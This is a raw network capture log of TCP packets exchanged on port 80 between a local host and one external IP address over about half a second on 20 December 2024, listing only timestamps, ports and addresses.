Dec 20, 2024 17:13:46.132739067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.133013964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.133054018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.133281946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.133857012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.133899927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.134241104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.134637117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.134708881 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.134975910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.135478020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.135516882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.135669947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.136239052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.136282921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.136627913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.136981010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.137018919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.137294054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.137737036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.137778997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.138132095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.138503075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.138542891 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.138641119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.139306068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.139348030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.139586926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.140072107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.140111923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.140316963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.140913963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.140954971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.141148090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.141752958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.141798019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.141856909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.142498970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.142537117 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.142549038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.143188000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.143223047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.143532038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.187537909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.200486898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.200545073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.200596094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.200623989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.200637102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.200678110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.201375961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.201494932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.201533079 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.202239037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.203022003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.203036070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.203083038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.203265905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.203299046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.203836918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.204526901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.204541922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.204565048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.204672098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.204705000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.205300093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.205312967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.205348015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.206123114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.206796885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.206837893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.206872940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.206883907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.206918001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.207683086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.207695961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.207734108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.208518982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.208569050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.208602905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.209261894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.209507942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.209553003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.210036993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.210232019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.210273027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.210819006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.211576939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.211590052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.211620092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.211703062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.211745024 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.212461948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.213155031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.213166952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.213180065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.213190079 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.213217020 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.213983059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.213996887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.214039087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.214685917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.215162039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.215204954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.231674910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.231820107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.231919050 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.231923103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.231935024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.231975079 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.232700109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.232713938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.232758045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.233524084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.233946085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.313075066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.313229084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.313283920 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.313313961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.313548088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.313582897 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.313677073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.314336061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.314376116 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.314549923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.315063953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.315104961 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.315862894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.315879107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.315920115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.316143036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.316675901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.316714048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.316992998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.317423105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.317459106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.317733049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.318182945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.318195105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.318222046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.318959951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.319000959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.319152117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.319848061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.319859028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.319884062 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.320553064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.320595026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.320883036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.321321964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.321362019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.321650028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.322118998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.322154045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.322384119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.322559118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.322840929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.322880983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.323107004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.323636055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.323679924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.323846102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.324430943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.324467897 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.324829102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.325184107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.325223923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.325793028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.326036930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.326071024 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.326231003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.326798916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.326836109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.326967001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.327539921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.327575922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.327996016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.328350067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.328387022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.328958988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.329154968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.329197884 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.329492092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.329911947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.329950094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.330024004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.330754995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.330796003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.331110954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.331633091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.331645012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.331677914 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.332345009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.332387924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.332540989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.333026886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.333066940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.333487988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.333854914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.333899975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.334548950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.334618092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.334655046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.335355043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.335411072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.335422993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.335452080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.392242908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.392293930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.392671108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.392682076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.392729998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.392731905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.393528938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.393569946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.393668890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.394350052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.394387960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.394490957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.395005941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.395018101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.395042896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.395780087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.395823002 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.396197081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.396574020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.396611929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.396873951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.397413015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.397424936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.397449970 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.398104906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.398139000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.398578882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.398964882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.398976088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.398998022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.399691105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.399727106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.399736881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.400515079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.400551081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.401139975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.401298046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.401309013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.401339054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.402268887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.402307034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.402827978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.402841091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.402873039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.402981043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.403616905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.403630018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.403650999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.404459000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.404470921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.404495001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.405210018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.405246973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.405787945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.406135082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.406172991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.406366110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.406861067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.406873941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.406903028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.423717976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.423774004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.423923016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.424011946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.424024105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.424046040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.424640894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.424675941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.425210953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.425348043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.425390005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.425641060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.458564997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.498790979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.505371094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.505616903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.505630970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.505675077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.505786896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.505829096 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.506521940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.506537914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.506575108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.507258892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.507270098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.507327080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.508008957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.508023024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.508064032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.508889914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.508903027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.508939981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.509464025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.509654045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.509691000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.510615110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.511059999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.511074066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.511110067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.511249065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.511286974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.511837959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.511850119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.511888981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.512669086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.512854099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.512888908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.513477087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.513492107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.513555050 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.514189959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.514487028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.514535904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.515052080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.515372038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.515412092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.515774012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.516132116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.516168118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.516645908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.516659021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.516693115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.517395973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.517407894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.517447948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.518357038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.518371105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.518419027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.518999100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.519012928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.519052029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.519720078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.519733906 CET	80	49711	147.45.113.159	192.168.2.9
